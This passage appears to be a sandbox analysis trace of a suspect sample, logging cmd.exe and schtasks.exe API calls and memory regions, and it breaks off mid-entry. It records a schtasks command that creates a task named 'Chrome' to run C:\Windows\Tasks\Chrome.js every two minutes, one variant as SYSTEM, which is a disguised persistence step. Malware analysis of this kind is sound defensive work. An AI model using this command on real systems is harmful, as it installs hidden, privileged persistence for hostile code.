[0056.418] GetConsoleTitleW (in: lpConsoleTitle=0x22fa50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.419] SetErrorMode (uMode=0x0) returned 0x8005 [0056.419] SetErrorMode (uMode=0x1) returned 0x4 [0056.419] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x30c420, lpFilePart=0x22f2e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22f2e0*="Desktop") returned 0x19 [0056.419] SetErrorMode (uMode=0x8005) returned 0x5 [0056.419] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0056.419] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0056.419] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.419] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.420] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0056.420] GetLastError () returned 0x2 [0056.420] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\schtasks", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0056.420] GetLastError () returned 0x2 [0056.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.*", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0x2f17f0 [0056.420] FindClose (in: hFindFile=0x2f17f0 | out: hFindFile=0x2f17f0) returned 1 [0056.420] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.COM", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0xffffffffffffffff [0056.420] GetLastError () returned 0x2 [0056.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\schtasks.EXE", fInfoLevelId=0x1, lpFindFileData=0x22f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f050) returned 0x2f17f0 [0056.421] FindClose (in: hFindFile=0x2f17f0 | out: hFindFile=0x2f17f0) returned 1 [0056.421] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0056.421] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0056.421] GetConsoleTitleW (in: lpConsoleTitle=0x22f5a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.421] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f358, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f318 | out: lpAttributeList=0x22f358, lpSize=0x22f318) returned 1 [0056.421] UpdateProcThreadAttribute (in: lpAttributeList=0x22f358, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f308, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f358, lpPreviousValue=0x0) returned 1 [0056.421] GetStartupInfoW (in: lpStartupInfo=0x22f470 | out: lpStartupInfo=0x22f470*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x2, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0056.421] lstrcmpW (lpString1="\\schtasks.exe", lpString2="\\XCOPY.EXE") returned -1 [0056.421] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\schtasks.exe", lpCommandLine="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x22f390*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f340 | out: lpCommandLine="schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM", lpProcessInformation=0x22f340*(hProcess=0x50, hThread=0x54, dwProcessId=0xa58, dwThreadId=0xa5c)) returned 1 [0056.424] CloseHandle (hObject=0x54) returned 1 [0056.424] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0056.424] GetEnvironmentStringsW () returned 0x308f90* [0056.424] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0056.424] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0056.585] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x22f288 | out: lpExitCode=0x22f288*=0x1) returned 1 [0056.585] CloseHandle (hObject=0x50) returned 1 [0056.585] _vsnwprintf (in: _Buffer=0x22f4f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x22f298 | out: _Buffer="00000001") returned 8 [0056.585] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0056.585] GetEnvironmentStringsW () returned 0x308f90* [0056.585] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0056.585] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0056.585] GetEnvironmentStringsW () returned 0x308f90* [0056.585] FreeEnvironmentStringsW (penv=0x308f90) returned 1 [0056.585] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f358 | out: lpAttributeList=0x22f358) [0056.585] _get_osfhandle (_FileHandle=1) returned 0x7 [0056.585] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0056.585] _get_osfhandle (_FileHandle=1) returned 0x7 [0056.585] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4ee194 | out: lpMode=0x4a4ee194) returned 1 [0056.586] _get_osfhandle (_FileHandle=0) returned 0x3 [0056.586] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4ee198 | out: lpMode=0x4a4ee198) returned 1 [0056.586] SetConsoleInputExeNameW () returned 0x1 [0056.586] GetConsoleOutputCP () returned 0x1b5 [0056.586] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4fbfe0 | out: lpCPInfo=0x4a4fbfe0) returned 1 [0056.586] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.586] exit (_Code=1) Process: id = "3" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x493c4000" os_pid = "0xa4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa34" cmd_line = "schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 522 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 523 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 524 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 525 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 526 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 527 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 528 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 529 start_va = 0xffc70000 end_va = 0xffcb7fff entry_point = 0xffc70000 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 530 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 531 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 532 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 533 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 535 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 536 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 537 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 538 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 539 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 540 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 541 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 542 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 543 start_va = 0x160000 end_va = 0x171fff entry_point = 0x160000 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 544 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 545 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 546 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 547 start_va = 0x430000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 548 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 549 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 550 start_va = 0x760000 end_va = 0x1b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 551 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 552 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 553 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 554 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 555 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 556 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 557 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 558 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 559 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 560 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 561 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 562 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 563 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 564 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 565 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 566 start_va = 0x1b60000 end_va = 0x1e2efff entry_point = 0x1b60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 567 start_va = 0x3a0000 end_va = 0x41cfff entry_point = 0x3a0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 568 start_va = 0x3a0000 end_va = 0x41cfff entry_point = 0x3a0000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 569 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 570 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 571 start_va = 0x1e30000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 572 start_va = 0x1e30000 end_va = 0x1f0efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 573 start_va = 0x1f60000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 574 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 575 start_va = 0x2120000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 576 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 577 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 578 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 579 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 580 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 581 start_va = 0x7fefb8f0000 end_va = 0x7fefba16fff entry_point = 0x7fefb8f0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 582 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 583 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 24 os_tid = 0xa50 [0055.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefc10 | out: lpSystemTimeAsFileTime=0xefc10*(dwLowDateTime=0x5873ad50, dwHighDateTime=0x1d4a74f)) [0055.363] GetCurrentProcessId () returned 0xa4c [0055.363] GetCurrentThreadId () returned 0xa50 [0055.363] GetTickCount () returned 0x1cf20 [0055.363] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xefc18 | out: lpPerformanceCount=0xefc18*=1812877300000) returned 1 [0055.364] GetModuleHandleW (lpModuleName=0x0) returned 0xffc70000 [0055.364] __set_app_type (_Type=0x1) [0055.364] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc9972c) returned 0x0 [0055.364] __wgetmainargs (in: _Argc=0xffcb1240, _Argv=0xffcb1250, _Env=0xffcb1248, _DoWildCard=0, _StartInfo=0xffcb125c | out: _Argc=0xffcb1240, _Argv=0xffcb1250, _Env=0xffcb1248) returned 0 [0055.365] _onexit (_Func=0xffca2ab0) returned 0xffca2ab0 [0055.365] _onexit (_Func=0xffca2ac4) returned 0xffca2ac4 [0055.366] _onexit (_Func=0xffca2afc) returned 0xffca2afc [0055.366] _onexit (_Func=0xffca2b58) returned 0xffca2b58 [0055.366] _onexit (_Func=0xffca2b80) returned 0xffca2b80 [0055.366] _onexit (_Func=0xffca2ba8) returned 0xffca2ba8 [0055.366] _onexit (_Func=0xffca2bd0) returned 0xffca2bd0 [0055.366] _onexit (_Func=0xffca2bf8) returned 0xffca2bf8 [0055.366] _onexit (_Func=0xffca2c20) returned 0xffca2c20 [0055.366] _onexit (_Func=0xffca2c48) returned 0xffca2c48 [0055.366] _onexit (_Func=0xffca2c70) returned 0xffca2c70 [0055.367] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.367] WinSqmIsOptedIn () returned 0x0 [0055.367] SetLastError (dwErrCode=0x0) [0055.367] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0055.367] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0055.367] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0055.367] VerifyVersionInfoW (in: lpVersionInformation=0xef3d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xef3d0) returned 1 [0055.368] lstrlenW (lpString="") returned 0 [0055.368] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0055.368] SetLastError (dwErrCode=0x0) [0055.369] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.369] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bbca0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0055.369] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefcd50000 [0055.370] GetProcAddress (hModule=0x7fefcd50000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefcd515fc [0055.370] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0055.371] GetProcAddress (hModule=0x7fefcd50000, lpProcName="GetFileVersionInfoW") returned 0x7fefcd51614 [0055.371] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1bca50 | out: lpData=0x1bca50) returned 1 [0055.371] GetProcAddress (hModule=0x7fefcd50000, lpProcName="VerQueryValueW") returned 0x7fefcd515e0 [0055.371] VerQueryValueW (in: pBlock=0x1bca50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xef4b8, puLen=0xef520 | out: lplpBuffer=0xef4b8*=0x1bcdec, puLen=0xef520) returned 1 [0055.373] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.373] _vsnwprintf (in: _Buffer=0x1bbca0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xef498 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0055.373] VerQueryValueW (in: pBlock=0x1bca50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xef528, puLen=0xef518 | out: lplpBuffer=0xef528*=0x1bcc18, puLen=0xef518) returned 1 [0055.373] lstrlenW (lpString="schtasks.exe") returned 12 [0055.373] lstrlenW (lpString="schtasks.exe") returned 12 [0055.373] lstrlenW (lpString=".EXE") returned 4 [0055.373] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0055.374] lstrlenW (lpString="schtasks.exe") returned 12 [0055.375] lstrlenW (lpString=".EXE") returned 4 [0055.375] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.375] lstrlenW (lpString="schtasks") returned 8 [0055.375] _memicmp (_Buf1=0x1bbb20, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.375] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.375] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1bd330, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0055.375] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0055.375] _vsnwprintf (in: _Buffer=0x1bc0a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xef498 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0055.376] SetLastError (dwErrCode=0x0) [0055.376] GetThreadLocale () returned 0x409 [0055.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.376] lstrlenW (lpString="?") returned 1 [0055.376] GetThreadLocale () returned 0x409 [0055.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.376] lstrlenW (lpString="create") returned 6 [0055.376] GetThreadLocale () returned 0x409 [0055.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.376] lstrlenW (lpString="delete") returned 6 [0055.376] GetThreadLocale () returned 0x409 [0055.376] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.376] lstrlenW (lpString="query") returned 5 [0055.376] GetThreadLocale () returned 0x409 [0055.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.377] lstrlenW (lpString="change") returned 6 [0055.377] GetThreadLocale () returned 0x409 [0055.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.377] lstrlenW (lpString="run") returned 3 [0055.377] GetThreadLocale () returned 0x409 [0055.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.377] lstrlenW (lpString="end") returned 3 [0055.377] GetThreadLocale () returned 0x409 [0055.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.377] lstrlenW (lpString="showsid") returned 7 [0055.377] GetThreadLocale () returned 0x409 [0055.377] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.377] SetLastError (dwErrCode=0x0) [0055.377] SetLastError (dwErrCode=0x0) [0055.377] lstrlenW (lpString="/create") returned 7 [0055.377] lstrlenW (lpString="-/") returned 2 [0055.377] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.377] lstrlenW (lpString="?") returned 1 [0055.377] lstrlenW (lpString="?") returned 1 [0055.377] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.377] lstrlenW (lpString="create") returned 6 [0055.377] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.377] _vsnwprintf (in: _Buffer=0x1bca70, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.377] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.377] lstrlenW (lpString="|?|") returned 3 [0055.377] lstrlenW (lpString="|create|") returned 8 [0055.377] SetLastError (dwErrCode=0x490) [0055.377] lstrlenW (lpString="create") returned 6 [0055.378] lstrlenW (lpString="create") returned 6 [0055.378] _memicmp 